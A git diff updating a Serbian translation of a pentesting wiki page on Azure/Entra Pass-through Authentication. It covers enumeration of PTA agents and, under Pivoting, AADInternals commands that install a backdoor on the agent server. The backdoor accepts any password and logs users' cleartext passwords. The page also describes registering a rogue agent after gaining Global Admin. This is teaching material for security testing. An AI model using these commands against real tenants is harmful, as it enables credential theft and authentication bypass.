Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:21 +00:00
parent 4b9d6e2e5a
commit 7c62341c44

View File

@@ -1,12 +1,12 @@
# Az - PTA - Prolazna autentifikacija
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
## Osnovne informacije
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Prolazna autentifikacija omogućava vašim korisnicima da **prijave se na lokalne i aplikacije u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će vaši korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Azure AD, ova funkcija **validira lozinke korisnika direktno protiv vašeg lokalnog Active Directory-a**.
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.
U PTA **identiteti** su **sinhronizovani** ali **lozinke** **nisu** kao u PHS.
U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS-u.
Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem **autentifikacionog agenta** koji radi na **lokalnom serveru** (ne mora biti na lokalnom DC-u).
@@ -16,26 +16,60 @@ Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši
1. Da bi se **prijavio**, korisnik se preusmerava na **Azure AD**, gde šalje **korisničko ime** i **lozinku**
2. **Akreditivi** se **šifruju** i postavljaju u **red** u Azure AD
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Agent prolazne autentifikacije"** ili **PTA agent.**
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Pass-through authentication agent"** ili **PTA agent.**
4. **Agent** **validira** akreditive protiv **lokalnog AD-a** i šalje **odgovor** **nazad** Azure AD-u koji, ako je odgovor pozitivan, **kompletira prijavu** korisnika.
> [!WARNING]
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
> Takođe može **validirati bilo koje akreditive** za AzureAD (sličan napad kao na Skeleton key).
### Lokalno -> oblak
### Enumeracija
Ako imate **admin** pristup **Azure AD Connect serveru** na kojem radi **PTA** **agent**, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** unesene (tako da će sve lozinke biti validne za autentifikaciju):
Iz Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Proverite da li agent radi na on-prem serveru:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Ako imate **admin** pristup **Azure AD Connect serveru** na kojem radi **PTA** **agent**, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** unesene (tako da će sve lozinke biti važeće za autentifikaciju):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Ako **instalacija ne uspe**, to je verovatno zbog nedostatka [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Takođe je moguće **videti lozinke u čistom tekstu koje se šalju PTA agentu** koristeći sledeći cmdlet na mašini gde je prethodni backdoor instaliran:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Ova backdoor će:
- Kreirati skriveni folder `C:\PTASpy`
@@ -45,10 +79,8 @@ Ova backdoor će:
> [!NOTE]
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “uklanja” i mora se ponovo instalirati.
### Cloud -> On-Prem
> [!CAUTION]
> Nakon dobijanja **GA privilegija** na cloudu, moguće je **registrovati novi PTA agent** postavljanjem na **mašini pod kontrolom napadača**. Kada je agent **postavljen**, možemo **ponoviti** **prethodne** korake da **autentifikujemo koristeći bilo koju lozinku** i takođe, **dobijemo lozinke u čistom tekstu.**
> Nakon dobijanja **GA privilegija** na oblaku, moguće je **registrovati novi PTA agent** i **ponoviti** **prethodne** korake za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**
### Seamless SSO